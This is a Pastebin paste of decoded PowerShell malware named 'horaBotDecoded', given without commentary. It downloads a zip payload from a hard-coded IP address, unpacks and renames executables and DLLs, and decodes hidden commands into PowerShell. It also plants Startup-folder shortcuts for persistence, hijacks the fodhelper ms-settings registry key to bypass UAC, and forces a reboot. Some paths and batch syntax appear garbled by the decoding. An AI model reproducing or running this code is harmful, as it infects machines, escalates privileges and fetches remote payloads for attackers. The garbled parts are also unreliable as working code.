API tools faq
paste
Advertisement
e55db081d05f58a

horaBotDecoded.ps.malw

e55db081d05f58a
Jul 4th, 2023
2,626
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 10.38 KB | None | 0 0
raw download clone embed print report
  1. ${var0} = 'cmd'
  2. ${var1} = 'exe'
  3. ${var2} = '.png'
  4. ${var3} = 'zip'
  5. ${var4} = 'http://51.38.235.152/20/a/m/m.zip'
  6. ${var5} = 'public'
  7. ${var6} = 'c:\users\'
  8. ${var7} = "${var6}${var5}"
  9. ${var10} = 'Global'
  10. ${var11} = 'DllCall'
  11. ${var12} = 'STRUCT'
  12. ${var13} = 'JLI_GetStdArgc'
  13. ${var14} = 'DllOpen'
  14. ${var15} = '#NoTrayIcon'
  15. ${var16} = 'HKCU:\Software\Classes\ms-settings\Shell\Open\command'
  16. ${var17} = 'HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "'
  17. ${var18} = 'DelegateExecute'
  18. ${var19} = '(default)'
  19. ${var20} = 'C:\Windows\System32\fodhelper.exe'
  20. ${var21} = 'fodhelper.exe'
  21. ${var22} = '\\?\C:\Windows \System32\'
  22. ${var23} = '1n ia'
  23. ${var24} = 'C:\'
  24. ${var25} = '.txt'
  25. ${var26} = '.dll'
  26. ${var27} = '.exe'
  27. ${var28} = 'jli'
  28. ${var29} = 'MSVCR100'
  29. ${var30} = 'WebView2Loader'
  30. ${var31} = $env:COMPUTERNAME
  31. ${var32} = "030723"
  32. Function ____bbbbbbbbaaababababa_____ {
  33. ${var33} = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
  34. ${var34} = "2_","3_","4_","5_","6_","7_","8_","9_"
  35. ${var35} = $null
  36. ${var36} = Get-Random -InputObject ${var33} -Count 6
  37. ${var38} = Get-Random -InputObject ${var34} -Count 1
  38. ${var40} = Get-Random -InputObject ${var33}.ToUpper() -Count 1
  39. foreach($n in ${var36}) {
  40. ${var35} += $n
  41. }
  42. foreach ($n2 in ${var38}) {
  43. ${var35} += $n2
  44. }
  45. foreach ($n3 in ${var40}) {
  46. ${var35} += $n3
  47. }
  48. return "_${var35}"
  49. }
  50. ${var49} = ____bbbbbbbbaaababababa_____
  51. ${var50} = ${var49}
  52. ${var52} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28:bb@22@10@18@24@2@3.@12@24@22b@10b@0@8b@1@5@0@8@2@2b@30@25b@30@25')  | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
  53. ${var53} = "${var7}a${var32}"
  54.    if ((${var53} | Test-Path)) {var57}
  55.     New-Item -ItemType directory -Path "${var24}${var49}"
  56.     ${var60} = "${var24}${var49}a${var31}"
  57.     ${var64}  =  ${var52}
  58.     ${var64} | Set-Content ${var60}${var50}
  59.     ${var69} = (${var49})
  60.     ${var71} = (${var49} + "A")
  61.     ${var73} = (${var49} + "B")    
  62.     del ${var7}a*.vbs
  63.     del ${var7}a*.lnk
  64.     del ${var7}a*.exe
  65.     del ${var7}a*.cmd
  66.     ${var79} = "${var7}a${var31}${var50}.${var0}"
  67.     ${var84}  =  "@Echo off`r`n"
  68.     ${var84}  += "Setlocal EnableExtensions`r`n"
  69.     ${var84}  += "Setlocal EnableDelayedExpansion`r`n"
  70.     ${var84}  += "cd %SystemRoot%aSystem32`r`n"
  71.     ${var84}  += "Set bP ${var49}=<`"${var60}${var50}`"`r`n"
  72.     ${var84}  += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
  73.     ${var84}  += "for bL %%N in (10 1 36) do (`r`n"
  74.     ${var84}  += "for bF %%C in (`"!chars:~%%N,1!`") do (`r`n"
  75.     ${var84}  += "set `"${var49}=!${var49}:%%N=%%C!`"`r`n"
  76.     ${var84}  += ")`r`n"
  77.     ${var84}  += ")`r`n"
  78.     ${var84}  += ")`r`n"
  79.     ${var84}  += "for bF %%F in (`"!${var49}!`") do (`r`n"
  80.     ${var84}  += "set `"${var49}=!${var49}:@=!`"`r`n"
  81.     ${var84}  += ")`r`n"
  82.     ${var84}  += "for bF %%F in (`"!${var49}!`") do (`r`n"
  83.     ${var84}  += "set `"${var49}=!${var49}:`"=!`"`r`n"
  84.     ${var84}  += ")`r`n"
  85.     ${var84}  += "%${var49}%`r`n"
  86.     ${var84} | Set-Content ${var79}
  87. function _____ba_baba_bab=aaaaaaaaaabbbbb
  88. {
  89.   Param([string]${var117},[string]${var118});
  90.   try{  
  91.     ${var119} = New-Object -ComObject WScript.Shell
  92.     ${var120} = ${var119}.CreateShortcut(${var117})
  93.     ${var120}.TargetPath = "${var24}${var49}a${var49}.${var1}"    
  94.     ${var120}.Arguments = "${var24}${var49}a${var49}.ai"  
  95.     ${var120}.WorkingDirectory = "${var24}${var49}a"
  96.     ${var120}.WindowStyle = 7  
  97.     ${var120}.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'
  98.     ${var120}.Save()
  99.   }finally{var138}
  100. }
  101. function _____ba_baba_bab=aaaaaaaaaabbbbbaaaaaaaaaaaaaaaaaaaaaaa
  102. {
  103.   Param([string]${var117},[string]${var118});
  104.   try{  
  105.     ${var119} = New-Object -ComObject WScript.Shell
  106.     ${var120} = ${var119}.CreateShortcut(${var117})
  107.     ${var120}.TargetPath = "${var24}${var49}a${var49}.${var1}"    
  108.     ${var120}.Arguments = "${var24}${var49}a${var49}.at"  
  109.     ${var120}.WorkingDirectory = "${var24}${var49}a"
  110.     ${var120}.WindowStyle = 7  
  111.     ${var120}.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'
  112.     ${var120}.Save()
  113.   }finally{var138}
  114. }
  115. ${var163} = "${var22}"
  116. New-Item ${var163} -ItemType Directory
  117. Copy-Item -Path "${var20}" -Destination "${var163}${var21}" -Recurse
  118. function _____ba_baba_bab=aaaaaaaaaabbbbbaaaaaaaaaaaaaaaaaaaaaaa____aaa
  119. {
  120.   Param([string]${var117},[string]${var118});
  121.   try{  
  122.     ${var119} = New-Object -ComObject WScript.Shell
  123.     ${var120} = ${var119}.CreateShortcut(${var117})
  124.     ${var120}.TargetPath = "${var24}${var49}a${var49}i7${var27}"    
  125.     ${var120}.Arguments = ""  
  126.     ${var120}.WorkingDirectory = "${var24}"
  127.     ${var120}.WindowStyle = 7  
  128.     ${var120}.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'
  129.     ${var120}.Save()
  130.   }finally{var138}
  131. }
  132. function _____ba_baba_bab=a
  133. {
  134.   Param([string]${var117},[string]${var118});
  135.   try{  
  136.     ${var119} = New-Object -ComObject WScript.Shell
  137.     ${var120} = ${var119}.CreateShortcut(${var117})
  138.     ${var120}.TargetPath = "${var79}"      
  139.     ${var120}.Arguments = ""
  140.     ${var120}.WorkingDirectory = ""
  141.     ${var120}.WindowStyle = 7  
  142.     ${var120}.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'
  143.     ${var120}.Save()
  144.   }finally{var138}
  145. }
  146. ${var203} = New-Object -Com WScript.Shell
  147. ${var204} = ${var203}.SpecialFolders.Item('startup');          
  148. del ${var204}a*.vbs
  149. del ${var204}a*.lnk
  150. del ${var204}a*.exe
  151. del ${var204}a*.cmd
  152. ${var210} = "                                                                                                                                                                                                                                                                                                  $env:APPDATAa${var211}, ${var212}"
  153. ${var213} = "${var204}a${var49}.lnk"        
  154. _____ba_baba_bab=a ${var213}  ${var210}
  155. ${var213} = "${var204}a${var49}EX.lnk"
  156. _____ba_baba_bab=aaaaaaaaaabbbbb ${var213}  ${var210}
  157.  
  158. ${var213} = "${var204}a${var49}AT.lnk"
  159. _____ba_baba_bab=aaaaaaaaaabbbbbaaaaaaaaaaaaaaaaaaaaaaa ${var213}  ${var210}
  160.  
  161. ${var213} = "${var204}a${var49}AA.lnk"
  162. _____ba_baba_bab=aaaaaaaaaabbbbbaaaaaaaaaaaaaaaaaaaaaaa____aaa ${var213}  ${var210}
  163.  
  164.    ${var52} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28:bb@22@10@18@24@2@3.@12@24@22b@10b@0@8b@1@5@0@8@2@2b@10@30b@10@30')  | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
  165.  
  166.     ${var49} = ${var49}
  167.     ${var60} = "${var24}${var49}a${var31}"
  168.     ${var64}  =  ${var52}
  169.     ${var64} | Set-Content ${var60}${var50}y
  170.     ${var69} = (${var49})
  171.     ${var71} = (${var49} + "A")
  172.     ${var73} = (${var49} + "B")
  173.     ${var79} = "${var7}a${var31}${var50}y.${var0}"
  174.     ${var84}  =  "@Echo off`r`n"
  175.     ${var84}  += "Setlocal EnableExtensions`r`n"
  176.     ${var84}  += "Setlocal EnableDelayedExpansion`r`n"
  177.     ${var84}  += "cd %SystemRoot%aSystem32`r`n"
  178.     ${var84}  += "Set bP ${var49}=<`"${var60}${var50}y`"`r`n"
  179.     ${var84}  += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
  180.     ${var84}  += "for bL %%N in (10 1 36) do (`r`n"
  181.     ${var84}  += "for bF %%C in (`"!chars:~%%N,1!`") do (`r`n"
  182.     ${var84}  += "set `"${var49}=!${var49}:%%N=%%C!`"`r`n"
  183.     ${var84}  += ")`r`n"
  184.     ${var84}  += ")`r`n"
  185.     ${var84}  += ")`r`n"
  186.     ${var84}  += "for bF %%F in (`"!${var49}!`") do (`r`n"
  187.     ${var84}  += "set `"${var49}=!${var49}:@=!`"`r`n"
  188.     ${var84}  += ")`r`n"
  189.     ${var84}  += "for bF %%F in (`"!${var49}!`") do (`r`n"
  190.     ${var84}  += "set `"${var49}=!${var49}:`"=!`"`r`n"
  191.     ${var84}  += ")`r`n"
  192.     ${var84}  += "%${var49}%`r`n"
  193.     ${var84} | Set-Content ${var79}
  194.    
  195. function _____ba_baba_bab=abb
  196. {
  197.   Param([string]${var117},[string]${var118});
  198.   try{  
  199.     ${var119} = New-Object -ComObject WScript.Shell
  200.     ${var120} = ${var119}.CreateShortcut(${var117})
  201.     ${var120}.TargetPath = "${var79}"      
  202.     ${var120}.Arguments = ""
  203.     ${var120}.WorkingDirectory = ""
  204.     ${var120}.WindowStyle = 7  
  205.     ${var120}.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'
  206.     ${var120}.Save()
  207.   }finally{var138}
  208. }
  209. ${var203} = New-Object -Com WScript.Shell
  210. ${var204} = ${var203}.SpecialFolders.Item('startup');          
  211. ${var210} = "                                                                                                                                                                                                                                                                                                  $env:APPDATAa${var211}, ${var212}"
  212. ${var213} = "${var204}a${var49}y.lnk"        
  213. _____ba_baba_bab=abb ${var213}  ${var210}
  214. ${var315} = ${var49}
  215. ${var315} | Set-Content "${var7}a${var32}"
  216. ${var315} | Out-File "${var7}a${var32}"
  217. ${var315} > "${var7}a${var32}"
  218. ${var326} = new-object System.Net.WebClient
  219. ${var326}.DownloadFile(${var4},"${var24}${var49}a${var49}.${var49}")
  220. Rename-Item -NewName ("${var24}${var49}a${var49}.zip") -Path ("${var24}${var49}a${var49}.${var49}")
  221. Expand-Archive -Path "${var24}${var49}a${var49}.${var3}" -DestinationPath "${var24}${var49}"
  222. Rename-Item -NewName ("${var24}${var49}a${var49}.${var1}") -Path ("${var24}${var49}a${var1}${var25}")
  223. Rename-Item -NewName ("${var24}${var49}a${var49}.ia") -Path ("${var24}${var49}a6${var25}")
  224. Rename-Item -NewName ("${var24}${var49}a${var49}.ai") -Path ("${var24}${var49}ab${var25}")
  225. Rename-Item -NewName ("${var24}${var49}a${var49}.at") -Path ("${var24}${var49}ac${var25}")
  226. Rename-Item -NewName ("${var24}${var49}a${var49}.mdat") -Path ("${var24}${var49}aat${var25}")
  227. Rename-Item -NewName ("${var24}${var49}a${var49}i7${var27}") -Path ("${var24}${var49}ai7${var25}")
  228. Rename-Item -NewName ("${var24}${var49}a${var28}${var26}") -Path ("${var24}${var49}a${var28}${var25}")
  229. Rename-Item -NewName ("${var24}${var49}a${var29}${var26}") -Path ("${var24}${var49}a${var29}${var25}")
  230. Rename-Item -NewName ("${var24}${var49}a${var30}${var26}") -Path ("${var24}${var49}a${var30}${var25}")
  231. del ${var24}${var49}a*.zip
  232. # Create reg structure
  233. New-Item "${var16}" -Force
  234. New-ItemProperty -Path "${var16}" -Name "${var18}" -Value "" -Force
  235. # Place command in
  236. Set-ItemProperty -Path "${var16}" -Name "${var19}" -Value "${var24}${var49}a${var49}i7${var27}" -Force
  237. shutdown br bt 10
  238.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!